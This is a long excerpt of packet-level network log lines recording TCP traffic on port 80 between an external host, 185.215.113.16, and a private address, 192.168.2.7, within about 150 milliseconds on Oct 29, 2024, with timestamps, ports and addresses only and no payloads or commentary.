Oct 29, 2024 20:36:09.536840916 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536853075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536875010 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536920071 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.536972046 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536984921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.536997080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537009001 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537014961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537020922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537033081 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537034035 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537096024 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537138939 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537149906 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537161112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537168026 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537173986 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537185907 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537255049 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537333012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537343979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537354946 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537368059 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537378073 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537379980 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537390947 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537401915 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537405968 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537460089 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537481070 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537492990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537503004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537542105 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537580967 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537673950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537686110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537717104 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537760973 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537836075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537847996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537857056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537868023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537878990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537880898 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537892103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537903070 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537910938 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537914991 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.537960052 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.537992954 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538005114 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538012028 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538098097 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538114071 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538168907 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538183928 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538193941 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538261890 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538276911 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538315058 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538326025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538332939 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538341045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538347960 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538355112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538497925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538512945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538513899 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538528919 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538539886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538579941 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538626909 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538657904 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538670063 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538681030 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538692951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538703918 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538714886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538727999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538737059 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538741112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538834095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538837910 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538844109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538856030 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.538877964 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.538916111 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539007902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539024115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539035082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539046049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539057970 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539071083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539083958 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539140940 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539176941 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539194107 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539207935 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539220095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539231062 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539242983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539253950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539266109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539268017 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539277077 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539288998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539307117 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539325953 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539339066 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539352894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539354086 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539391994 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539407969 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539469957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539554119 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539660931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539673090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539684057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539695024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539747000 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539778948 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539809942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539822102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539833069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539844036 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539855003 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539866924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539884090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539887905 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.539958000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539973974 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.539979935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.540019989 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.540148973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540160894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540170908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540184021 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540194035 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540206909 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540218115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540225983 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.540231943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540244102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540250063 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540256023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540261984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540261984 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.540268898 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540364027 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.540486097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540497065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540507078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540518045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540528059 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540539980 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540549994 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.540560961 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.540600061 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541495085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541507959 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541520119 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541532040 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541574001 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541610956 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541639090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541651011 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541661978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541723013 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541760921 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541800022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541822910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541837931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541852951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541863918 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.541886091 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541964054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.541994095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542006969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542017937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542030096 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542043924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542059898 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542069912 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.542076111 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.542110920 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.542134047 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647041082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647058010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647068977 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647079945 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647190094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647202015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647213936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647228956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647234917 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647243023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647265911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647277117 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647288084 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647310972 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647339106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647351027 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647353888 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647362947 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647386074 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647428989 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647521973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647533894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647548914 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647591114 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647607088 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647695065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647706985 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647716999 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647728920 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647739887 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647751093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647764921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647766113 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647815943 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647836924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647846937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647859097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647869110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647878885 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.647883892 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647913933 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.647934914 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648010969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648025990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648039103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648053885 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648061991 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648066998 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648080111 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648108959 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648129940 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648140907 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648153067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648163080 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648175955 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648224115 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648224115 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648325920 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648340940 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648351908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648364067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648375988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648408890 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648428917 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648469925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648482084 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648516893 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648557901 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648658991 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648670912 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648680925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648691893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648703098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648715019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648729086 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648741961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648757935 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648782969 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648787975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648809910 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648814917 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648838997 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648838997 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648853064 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648874044 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648878098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648900032 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648900986 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648946047 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.648961067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648972034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648983002 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.648993969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649008036 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649019957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649035931 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649080038 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649096012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649107933 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649148941 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649301052 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649312973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649322987 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649334908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649344921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649358988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649369955 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649384022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649405003 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649435043 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649457932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649473906 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649490118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649514914 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649523973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649538994 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649548054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649586916 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649590969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649604082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649612904 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649631977 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649657965 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649774075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649785995 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649796009 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649807930 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.649848938 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.649893999 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.688813925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.688831091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.688853025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.688921928 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.688962936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.688976049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.688987017 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689028978 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689106941 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689117908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689129114 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689141035 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689152002 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689183950 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689217091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689228058 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689229012 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689239979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689253092 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689264059 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.689266920 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689301014 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689332962 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.689347982 CET	80	49981	185.215.113.16	192.168.2.7
